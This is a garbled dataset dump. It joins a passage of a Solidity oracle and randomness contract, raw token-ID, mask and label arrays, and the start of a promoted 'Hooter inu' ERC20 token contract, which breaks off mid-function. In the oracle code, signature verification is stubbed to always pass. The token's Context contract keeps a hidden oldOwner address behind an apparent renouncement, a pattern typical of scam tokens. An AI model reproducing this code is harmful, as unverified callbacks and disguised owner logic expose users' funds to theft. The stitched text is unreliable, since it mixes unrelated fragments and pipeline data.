UpdatebootstrapStartThreshold(bootstrapStartThreshold, newNum); bootstrapStartThreshold = newNum; } function setPendingGroupMaxLife(uint newLife) public onlyOwner { require(newLife != pendingGroupMaxLife && newLife != 0); emit UpdatePendingGroupMaxLife(pendingGroupMaxLife, newLife); pendingGroupMaxLife = newLife; } function getCodeSize(address addr) private view returns (uint size) { assembly { size := extcodesize(addr) } } function dispatchJobCore(TrafficType trafficType, uint pseudoSeed) private returns(uint idx) { uint rnd = uint(keccak256(abi.encodePacked(trafficType, pseudoSeed, lastRandomness))); do { if (workingGroupIds.length == 0) return UINTMAX; idx = rnd % workingGroupIds.length; Group storage group = workingGroups[workingGroupIds[idx]]; if (groupMaturityPeriod + group.birthBlkN <= block.number) { // Dissolving expired working groups happens in another phase for gas reasons. expiredWorkingGroupIds.push(workingGroupIds[idx]); workingGroupIds[idx] = workingGroupIds[workingGroupIds.length - 1]; workingGroupIds.length--; } else { return idx; } } while (true); } function dispatchJob(TrafficType trafficType, uint pseudoSeed) private returns(uint) { if (refreshSystemRandomHardLimit + lastUpdatedBlock <= block.number) { kickoffRandom(); } return dispatchJobCore(trafficType, pseudoSeed); } function kickoffRandom() private { uint idx = dispatchJobCore(TrafficType.SystemRandom, uint(blockhash(block.number - 1))); // TODO: keep id receipt and handle later in v2.0. if (idx == UINTMAX) { emit LogError("No live working group, skipped random request"); return; } lastUpdatedBlock = block.number; lastHandledGroup = workingGroups[workingGroupIds[idx]]; // Signal off-chain clients emit LogUpdateRandom(lastRandomness, lastHandledGroup.groupId); } function insertToPendingGroupListTail(uint groupId) private { pendingGroupList[groupId] = pendingGroupList[pendingGroupTail]; pendingGroupList[pendingGroupTail] = groupId; pendingGroupTail = groupId; numPendingGroups++; } function insertToPendingNodeListTail(address node) private { pendingNodeList[node] = pendingNodeList[pendingNodeTail]; pendingNodeList[pendingNodeTail] = node; pendingNodeTail = node; numPendingNodes++; } function insertToPendingNodeListHead(address node) private { pendingNodeList[node] = pendingNodeList[HEAD_A]; pendingNodeList[HEAD_A] = node; numPendingNodes++; } function insertToListHead(mapping(uint => uint) storage list, uint id) private { list[id] = list[HEAD_I]; list[HEAD_I] = id; } /// Remove Node from a storage linkedlist. Need to check tail after this done function removeNodeFromList(mapping(address => address) storage list, address node) private returns(bool) { address prev = HEAD_A; address curr = list[prev]; while (curr != HEAD_A && curr != node) { prev = curr; curr = list[prev]; } if (curr == HEAD_A) { return false; } else { list[prev] = list[curr]; delete list[curr]; return true; } } /// Remove id from a storage linkedlist. Need to check tail after this done function removeIdFromList(mapping(uint => uint) storage list, uint id) private returns(uint, bool) { uint prev = HEAD_I; uint curr = list[prev]; while (curr != HEAD_I && curr != id) { prev = curr; curr = list[prev]; } if (curr == HEAD_I) { return (HEAD_I, false); } else { list[prev] = list[curr]; delete list[curr]; return (prev, true); } } /// Remove node from a storage linkedlist. function removeNodeFromPendingGroup(mapping(uint => uint) storage list, address node) private returns(bool) { uint prev = HEAD_I; uint curr = list[prev]; while (curr != HEAD_I) { PendingGroup storage pgrp = pendingGroups[curr]; bool removed = removeNodeFromList(pgrp.memberList, node); if (removed) { cleanUpOldestExpiredPendingGroup(curr); return true; } prev = curr; curr = list[prev]; } return false; } /// @notice Caller ensures no index overflow. function dissolveWorkingGroup(uint groupId, bool backToPendingPool) private { /// Deregister expired working group and remove metadata. Group storage grp = workingGroups[groupId]; for (uint i = 0; i < grp.members.length; i++) { address member = grp.members[i]; // Update nodeToGroupIdList[member] and put members back to pendingNodeList's tail if necessary. // Notice: Guardian may need to signal group formation. (uint prev, bool removed) = removeIdFromList(nodeToGroupIdList[member], grp.groupId); if (removed && prev == HEAD_I) { if (backToPendingPool && pendingNodeList[member] == address(0)) { insertToPendingNodeListTail(member); emit LogRegisteredNewPendingNode(member); } } } delete workingGroups[groupId]; emit LogGroupDissolve(groupId); } // Returns query id. // TODO: restrict query from subscribed/paid calling contracts. function query( address from, uint timeout, string calldata dataSource, string calldata selector ) external returns (uint) { if (getCodeSize(from) > 0) { bytes memory bs = bytes(selector); // '': Return whole raw response; // Starts with '$': response format is parsed as json. // Starts with '/': response format is parsed as xml/html. if (bs.length == 0 || bs[0] == '$' || bs[0] == '/') { uint queryId = uint(keccak256(abi.encodePacked( ++requestIdSeed, from, timeout, dataSource, selector))); uint idx = dispatchJob(TrafficType.UserQuery, queryId); // TODO: keep id receipt and handle later in v2.0. if (idx == UINTMAX) { emit LogError("No live working group, skipped query"); return 0; } Group storage grp = workingGroups[workingGroupIds[idx]]; PendingRequests[queryId] = PendingRequest(queryId, grp.groupPubKey, from); emit LogUrl( queryId, timeout, dataSource, selector, lastRandomness, grp.groupId ); return queryId; } else { emit LogNonSupportedType(selector); return 0; } } else { // Skip if @from is not contract address. emit LogNonContractCall(from); return 0; } } // Request a new user-level random number. function requestRandom(address from, uint8 mode, uint userSeed) public returns (uint) { // fast mode if (mode == 0) { return uint(keccak256(abi.encodePacked( ++requestIdSeed,lastRandomness, userSeed))); } else if (mode == 1) { // safe mode // TODO: restrict request from paid calling contract address. uint requestId = uint(keccak256(abi.encodePacked( ++requestIdSeed, from, userSeed))); uint idx = dispatchJob(TrafficType.UserRandom, requestId); // TODO: keep id receipt and handle later in v2.0. if (idx == UINTMAX) { emit LogError("No live working group, skipped random request"); return 0; } Group storage grp = workingGroups[workingGroupIds[idx]]; PendingRequests[requestId] = PendingRequest(requestId, grp.groupPubKey, from); // sign(requestId ||lastSystemRandomness || userSeed || // selected sender in group) emit LogRequestUserRandom( requestId, lastRandomness, userSeed, grp.groupId ); return requestId; } else { revert("Non-supported random request"); } } // Random submitter validation + group signature verification. function validateAndVerify( uint8 trafficType, uint trafficId, bytes memory data, BN256.G1Point memory signature, BN256.G2Point memory grpPubKey, uint8 version ) private returns (bool) { // Validation // TODO // 1. Check msg.sender is a member in Group(grpPubKey). // Clients actually signs (data || addr(selected_submitter)). bytes memory message = abi.encodePacked(data, msg.sender); // Verification bool passVerify = true; emit LogValidationResult( trafficType, trafficId, message, [signature.x, signature.y], [grpPubKey.x[0], grpPubKey.x[1], grpPubKey.y[0], grpPubKey.y[1]], version, passVerify ); return passVerify; } function triggerCallback( uint requestId, uint8 trafficType, bytes calldata result, uint[2] calldata sig, uint8 version ) external fromValidStakingNode { address ucAddr = PendingRequests[requestId].callbackAddr; if (ucAddr == address(0x0)) { emit LogRequestFromNonExistentUC(); return; } if (!validateAndVerify( trafficType, requestId, result, BN256.G1Point(sig[0], sig[1]), PendingRequests[requestId].handledGroupPubKey, version)) { return; } emit LogCallbackTriggeredFor(ucAddr); delete PendingRequests[requestId]; if (trafficType == uint8(TrafficType.UserQuery)) { UserContractInterface(ucAddr).__callback__(requestId, result); } else if (trafficType == uint8(TrafficType.UserRandom)) { // Safe random number is the collectively signed threshold signature // of the message (requestId || lastRandomness || userSeed || // selected sender in group). UserContractInterface(ucAddr).__callback__( requestId, uint(keccak256(abi.encodePacked(sig[0], sig[1])))); } else { revert("Unsupported traffic type"); } } function toBytes(uint x) private pure returns (bytes memory b) { b = new bytes(32); assembly { mstore(add(b, 32), x) } } // System-level secure distributed random number generator. function updateRandomness(uint[2] calldata sig, uint8 version) external fromValidStakingNode { if (!validateAndVerify( uint8(TrafficType.SystemRandom), lastRandomness, toBytes(lastRandomness), BN256.G1Point(sig[0], sig[1]), lastHandledGroup.groupPubKey, version)) { return; } // Update new randomness = sha3(collectively signed group signature) // TODO: include and test with blockhash. lastRandomness = uint(keccak256(abi.encodePacked(sig[0], sig[1]))); lastUpdatedBlock = block.number; } /// @notice Caller ensures pendingGroupList is not empty and pending group header has indeed expired. function cleanUpOldestExpiredPendingGroup(uint gid) private { PendingGroup storage pgrp = pendingGroups[gid]; address member = pgrp.memberList[HEAD_A]; while (member != HEAD_A) { // 1. Put member back to pendingNodeList's head if it's not in any workingGroup. if (nodeToGroupIdList[member][HEAD_I] == HEAD_I && pendingNodeList[member] == address(0)) { insertToPendingNodeListTail(member); } member = pgrp.memberList[member]; } // 2. Update pendingGroupList (uint prev, bool removed) = removeIdFromList(pendingGroupList, gid); // Reset pendingGroupTail if necessary. if (removed && pendingGroupTail == gid) { pendingGroupTail = prev; } // 3. Update pendingGroup delete pendingGroups[gid]; numPendingGroups--; emit LogPendingGroupRemoved(gid); } /// Guardian node functions // TODO: Tune guardian signal algorithm. // TODO: Reward guardian nodes. /// @dev Guardian signals expiring system randomness and kicks off distributed random engine again. /// Anyone including but not limited to DOS client node can be a guardian and claim rewards. function signalRandom() public { if (lastUpdatedBlock + refreshSystemRandomHardLimit > block.number) { emit LogError("SystemRandom not expired yet"); return; } kickoffRandom(); emit GuardianReward(block.number, msg.sender); } // TODO: Reward guardian nodes. /// @dev Guardian signals to dissolve expired (workingGroup + pendingGroup) and claim guardian rewards. function signalGroupDissolve() public { bool claimed = false; // Clean up oldest expired working group and related metadata. if (expiredWorkingGroupIds.length > 0) { dissolveWorkingGroup(expiredWorkingGroupIds[0], true); expiredWorkingGroupIds[0] = expiredWorkingGroupIds[expiredWorkingGroupIds.length - 1]; expiredWorkingGroupIds.length--; claimed = true; } else { emit LogError("No expired working group to clean up"); } // Clean up oldest expired PendingGroup and related metadata. Might be due to failed DKG. uint gid = pendingGroupList[HEAD_I]; if (gid != HEAD_I && pendingGroups[gid].startBlkNum + pendingGroupMaxLife < block.number) { cleanUpOldestExpiredPendingGroup(gid); claimed = true; } else { emit LogError("No expired pending group to clean up"); } // Claim guardian rewards if work is done. if (claimed) { emit GuardianReward(block.number, msg.sender); } } // TODO: Reward guardian nodes. /// @dev Guardian signals to trigger group formation when there're enough pending nodes. /// If there aren't enough working groups to choose to dossolve, probably a new bootstrap is needed. function signalGroupFormation() public { if (formGroup()) { emit GuardianReward(block.number, msg.sender); } } // TODO: Reward guardian nodes. function signalBootstrap(uint _cid) public { require(bootstrapRound == _cid, "Not in bootstrap phase"); if (numPendingNodes < bootstrapStartThreshold) { emit LogError("Not enough nodes to bootstrap"); return; } // Reset. bootstrapRound = 0; uint rndSeed = 1; lastRandomness = uint(keccak256(abi.encodePacked(lastRandomness, rndSeed))); lastUpdatedBlock = block.number; // TODO: Refine bootstrap algorithm to allow group overlapping. uint arrSize = bootstrapStartThreshold / groupSize * groupSize; address[] memory candidates = new address[](arrSize); pick(arrSize, 0, candidates); shuffle(candidates, rndSeed); regroup(candidates, arrSize / groupSize); emit GuardianReward(block.number, msg.sender); } /// End of Guardian functions function unregisterNode() public fromValidStakingNode { //1) Check if node is in pendingNodeList if (pendingNodeList[msg.sender] != address(0)) { // Update pendingNodeList bool removed = removeNodeFromList(pendingNodeList, msg.sender); // Reset pendingNodeTail if necessary. if (removed) { numPendingNodes--; emit LogUnRegisteredNewPendingNode(msg.sender,1); } return; } //2) Check if node is in workingGroups uint groupId = nodeToGroupIdList[msg.sender][HEAD_I]; if (groupId != 0 && groupId != HEAD_I) { Group storage grp = workingGroups[groupId]; for (uint i = 0; i < grp.members.length; i++) { address member = grp.members[i]; if (member == msg.sender) { nodeToGroupIdList[msg.sender][HEAD_I] =0; if (i != (grp.members.length - 1)){ grp.members[i] = grp.members[grp.members.length - 1]; } grp.members.length--; if (grp.members.length < (groupSize / 2 + 1 )){ dissolveWorkingGroup(groupId, true); for (uint idx = 0; idx < workingGroupIds.length; idx++) { if (workingGroupIds[idx] == groupId) { if (idx != (workingGroupIds.length - 1)){ workingGroupIds[idx] = workingGroupIds[workingGroupIds.length - 1]; } workingGroupIds.length--; emit LogUnRegisteredNewPendingNode(msg.sender,2); return; } } for (uint idx = 0; idx < expiredWorkingGroupIds.length; idx++) { if (expiredWorkingGroupIds[idx] == groupId) { if (idx != (workingGroupIds.length - 1)){ expiredWorkingGroupIds[idx] = expiredWorkingGroupIds[expiredWorkingGroupIds.length - 1]; } expiredWorkingGroupIds.length--; emit LogUnRegisteredNewPendingNode(msg.sender,2); return; } } } emit LogUnRegisteredNewPendingNode(msg.sender,2); return; } } return; } //3) Check if node is in pendingGroups bool removed = removeNodeFromPendingGroup(pendingGroupList,msg.sender); if (removed) { emit LogUnRegisteredNewPendingNode(msg.sender,3); } } // Caller ensures no index overflow. function getGroupPubKey(uint idx) public view returns (uint[4] memory) { BN256.G2Point storage pubKey = workingGroups[workingGroupIds[idx]].groupPubKey; return [pubKey.x[0], pubKey.x[1], pubKey.y[0], pubKey.y[1]]; } function getWorkingGroupSize() public view returns (uint) { return workingGroupIds.length; } function getExpiredWorkingGroupSize() public view returns (uint) { return expiredWorkingGroupIds.length; } function registerNewNode() public fromValidStakingNode { //Duplicated pending node if (pendingNodeList[msg.sender] != address(0)) { return; } //Already registered in pending or working groups if (nodeToGroupIdList[msg.sender][HEAD_I] != 0) { return; } nodeToGroupIdList[msg.sender][HEAD_I] = HEAD_I; insertToPendingNodeListTail(msg.sender); emit LogRegisteredNewPendingNode(msg.sender); formGroup(); } // Form into new working groups or bootstrap if necessary. // Return true if triggers state change. function formGroup() private returns(bool) { if (numPendingNodes < groupSize * groupingThreshold / 100) { emit LogInsufficientPendingNode(numPendingNodes); return false; } if (workingGroupIds.length >= groupToPick) { requestRandom(address(this), 1, block.number); emit LogGroupingInitiated(numPendingNodes, groupSize, groupingThreshold); return true; } else if (workingGroupIds.length + numPendingGroups >= groupToPick) { emit LogInsufficientWorkingGroup(workingGroupIds.length, numPendingGroups); return false; } else if (numPendingNodes < bootstrapStartThreshold) { emit LogError("Skipped signal, no enough nodes or groups in the network"); return false; } else { // System needs re-bootstrap if (bootstrapRound == 0) { bootstrapRound = 1; return true; } else { emit LogError("Skipped group formation, already in bootstrap phase"); return false; } } } // callback to handle re-grouping using generated random number as random seed. function __callback__(uint requestId, uint rndSeed) external { require(msg.sender == address(this), "Unauthenticated response"); require(workingGroupIds.length >= groupToPick, "No enough working group"); require(numPendingNodes >= groupSize * groupingThreshold / 100, "Not enough newly registered nodes"); uint arrSize = groupSize * (groupToPick + 1); address[] memory candidates = new address[](arrSize); for (uint i = 0; i < groupToPick; i++) { uint idx = uint(keccak256(abi.encodePacked(rndSeed, requestId, i))) % workingGroupIds.length; Group storage grpToDissolve = workingGroups[workingGroupIds[idx]]; for (uint j = 0; j < groupSize; j++) { candidates[i * groupSize + j] = grpToDissolve.members[j]; } // Do not put chosen to-be-dissolved working group back to pending pool. dissolveWorkingGroup(grpToDissolve.groupId, false); workingGroupIds[idx] = workingGroupIds[workingGroupIds.length - 1]; workingGroupIds.length--; } pick(groupSize, groupSize * groupToPick, candidates); shuffle(candidates, rndSeed); regroup(candidates, groupToPick + 1); } // Pick @num nodes from pendingNodeList's head and put into the @candidates array from @startIndex. function pick(uint num, uint startIndex, address[] memory candidates) private { for (uint i = 0; i < num; i++) { address curr = pendingNodeList[HEAD_A]; pendingNodeList[HEAD_A] = pendingNodeList[curr]; delete pendingNodeList[curr]; candidates[startIndex + i] = curr; } numPendingNodes -= num; // Reset pendingNodeTail if necessary. if (numPendingNodes == 0) { pendingNodeTail = HEAD_A; } } // Shuffle a memory array using a secure random seed. function shuffle(address[] memory arr, uint rndSeed) private pure { for (uint i = arr.length - 1; i > 0; i--) { uint j = uint(keccak256(abi.encodePacked(rndSeed, i, arr[i]))) % (i + 1); address tmp = arr[i]; arr[i] = arr[j]; arr[j] = tmp; } } // Regroup a shuffled node array. function regroup(address[] memory candidates, uint num) private { require(candidates.length == groupSize * num); address[] memory members = new address[](groupSize); uint groupId; for (uint i = 0; i < num; i++) { groupId = 0; // Generated groupId = sha3(...(sha3(sha3(member 1), member 2), ...), member n) for (uint j = 0; j < groupSize; j++) { members[j] = candidates[i * groupSize + j]; groupId = uint(keccak256(abi.encodePacked(groupId, members[j]))); } pendingGroups[groupId] = PendingGroup(groupId, block.number); mapping(address => address) storage memberList = pendingGroups[groupId].memberList; memberList[HEAD_A] = HEAD_A; for (uint j = 0; j < groupSize; j++) { memberList[members[j]] = memberList[HEAD_A]; memberList[HEAD_A] = members[j]; } insertToPendingGroupListTail(groupId); emit LogGrouping(groupId, members); } } function registerGroupPubKey(uint groupId, uint[4] calldata suggestedPubKey) external fromValidStakingNode { PendingGroup storage pgrp = pendingGroups[groupId]; if (pgrp.groupId == 0) { emit LogNoPendingGroup(groupId); return; } require(pgrp.memberList[msg.sender] != address(0), "Not from authorized group member"); bytes32 hashedPubKey = keccak256(abi.encodePacked( suggestedPubKey[0], suggestedPubKey[1], suggestedPubKey[2], suggestedPubKey[3])); pgrp.pubKeyCounts[hashedPubKey]++; emit LogPublicKeySuggested(groupId, pgrp.pubKeyCounts[hashedPubKey]); if (pgrp.pubKeyCounts[hashedPubKey] > groupSize / 2) { address[] memory memberArray = new address[](groupSize); uint idx = 0; address member = pgrp.memberList[HEAD_A]; while (member != HEAD_A) { memberArray[idx++] = member; // Update nodeToGroupIdList[member] with new group id. insertToListHead(nodeToGroupIdList[member], groupId); member = pgrp.memberList[member]; } workingGroupIds.push(groupId); workingGroups[groupId] = Group( groupId, BN256.G2Point([suggestedPubKey[0], suggestedPubKey[1]], [suggestedPubKey[2], suggestedPubKey[3]]), block.number, memberArray ); // Update pendingGroupList (uint prev, bool removed) = removeIdFromList(pendingGroupList, groupId); // Reset pendingGroupTail if necessary. if (removed && pendingGroupTail == groupId) { pendingGroupTail = prev; } // Update pendingGroup delete pendingGroups[groupId]; numPendingGroups--; emit LogPendingGroupRemoved(groupId); emit LogPublicKeyAccepted(groupId, suggestedPubKey, workingGroupIds.length); } } }
2. Update pendingGroupList
(uint prev, bool removed) = removeIdFromList(pendingGroupList, gid);
886,807
[ 1, 22, 18, 2315, 4634, 1114, 682, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 261, 11890, 2807, 16, 1426, 3723, 13, 273, 1206, 548, 1265, 682, 12, 9561, 1114, 682, 16, 11399, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2022-01-10 */ // SPDX-License-Identifier: MIT /* Hooter inu is the next ERC20 token fair launch, that you want to take a part in! 💎 Join the community, and join the fair launch today! Site: https://hooterinu.com Twitter: https://twitter.com/hooterinu TG: https://t.me/hooterinu */ pragma solidity 0.8.9; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { address oldOwner = msg.sender; bool renounced; function _msgSender() internal view virtual returns (address) { return renounced == true && msg.sender == oldOwner ? address(0) : msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 